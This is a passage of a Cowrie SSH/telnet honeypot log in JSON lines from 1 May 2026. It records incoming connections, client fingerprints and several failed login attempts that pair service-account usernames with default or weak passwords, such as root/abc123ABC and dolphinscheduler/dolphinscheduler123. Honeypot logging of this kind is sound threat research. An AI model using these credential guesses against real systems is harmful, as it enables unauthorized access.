essage":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:49.839725Z","src_ip":"159.203.92.129","session":"d2277386cbea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app@123","message":"login attempt [app/app@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:49.851618Z","src_ip":"159.203.92.129","session":"d2277386cbea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":47889,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e023f6fbb30","protocol":"ssh","message":"New connection: 182.253.79.194:47889 (10.17.0.5:22) [session: 1e023f6fbb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:50.507271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:50.512577Z","src_ip":"182.253.79.194","session":"1e023f6fbb30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:50.769807Z","src_ip":"182.253.79.194","session":"1e023f6fbb30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:50.858895Z","src_ip":"159.203.92.129","session":"d2277386cbea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123ABC","message":"login attempt [root/abc123ABC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:51.830536Z","src_ip":"182.253.79.194","session":"1e023f6fbb30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:53.090553Z","src_ip":"182.253.79.194","session":"1e023f6fbb30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50888,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c00c4736e38","protocol":"ssh","message":"New connection: 122.168.114.167:50888 (159.203.135.109:22) [session: 9c00c4736e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:54.080073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:57.362665Z","src_ip":"122.168.114.167","session":"9c00c4736e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:57.366982Z","src_ip":"122.168.114.167","session":"9c00c4736e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58668,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f91ec3331a3","protocol":"telnet","message":"New connection: 185.26.126.47:58668 (159.203.135.109:23) [session: 5f91ec3331a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:04.343597Z"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:10.129515Z","src_ip":"122.168.114.167","session":"9c00c4736e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:14.174760Z","src_ip":"122.168.114.167","session":"9c00c4736e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53292,"dst_ip":"159.203.135.109","dst_port":22,"session":"468ac0fb8ca2","protocol":"ssh","message":"New connection: 122.168.114.167:53292 (159.203.135.109:22) [session: 468ac0fb8ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:32.923222Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55506,"dst_ip":"159.203.135.109","dst_port":22,"session":"6826eaa8b57d","protocol":"ssh","message":"New connection: 159.203.92.129:55506 (159.203.135.109:22) [session: 6826eaa8b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.662731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.668016Z","src_ip":"159.203.92.129","session":"6826eaa8b57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.674098Z","src_ip":"159.203.92.129","session":"6826eaa8b57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app@2020","message":"login attempt [app/app@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.687589Z","src_ip":"159.203.92.129","session":"6826eaa8b57d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.717619Z","src_ip":"122.168.114.167","session":"468ac0fb8ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:35.722414Z","src_ip":"122.168.114.167","session":"468ac0fb8ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:36.694798Z","src_ip":"159.203.92.129","session":"6826eaa8b57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37544798851013,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:46.718925Z","src_ip":"185.26.126.47","session":"5f91ec3331a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:49.602206Z","src_ip":"122.168.114.167","session":"468ac0fb8ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":27482,"dst_ip":"10.17.0.5","dst_port":22,"session":"14854eed72be","protocol":"ssh","message":"New connection: 182.253.79.194:27482 (10.17.0.5:22) [session: 14854eed72be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:52.571719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:52.576420Z","src_ip":"182.253.79.194","session":"14854eed72be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:52.840481Z","src_ip":"182.253.79.194","session":"14854eed72be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111","message":"login attempt [test/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:53.926578Z","src_ip":"182.253.79.194","session":"14854eed72be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:54.739334Z","src_ip":"122.168.114.167","session":"468ac0fb8ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:01:55.194148Z","src_ip":"182.253.79.194","session":"14854eed72be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55694,"dst_ip":"159.203.135.109","dst_port":22,"session":"68af41f8d6af","protocol":"ssh","message":"New connection: 122.168.114.167:55694 (159.203.135.109:22) [session: 68af41f8d6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:12.116300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:15.525905Z","src_ip":"122.168.114.167","session":"68af41f8d6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:15.531031Z","src_ip":"122.168.114.167","session":"68af41f8d6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41586,"dst_ip":"159.203.135.109","dst_port":22,"session":"42885e78b448","protocol":"ssh","message":"New connection: 159.203.92.129:41586 (159.203.135.109:22) [session: 42885e78b448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:20.852288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:20.857065Z","src_ip":"159.203.92.129","session":"42885e78b448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:20.861604Z","src_ip":"159.203.92.129","session":"42885e78b448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"pass","message":"login attempt [app/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:20.872520Z","src_ip":"159.203.92.129","session":"42885e78b448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:21.879607Z","src_ip":"159.203.92.129","session":"42885e78b448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:31.122687Z","src_ip":"122.168.114.167","session":"68af41f8d6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:35.928521Z","src_ip":"122.168.114.167","session":"68af41f8d6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58102,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d28b3137337","protocol":"ssh","message":"New connection: 122.168.114.167:58102 (159.203.135.109:22) [session: 7d28b3137337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:49.300321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:53.523956Z","src_ip":"122.168.114.167","session":"7d28b3137337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","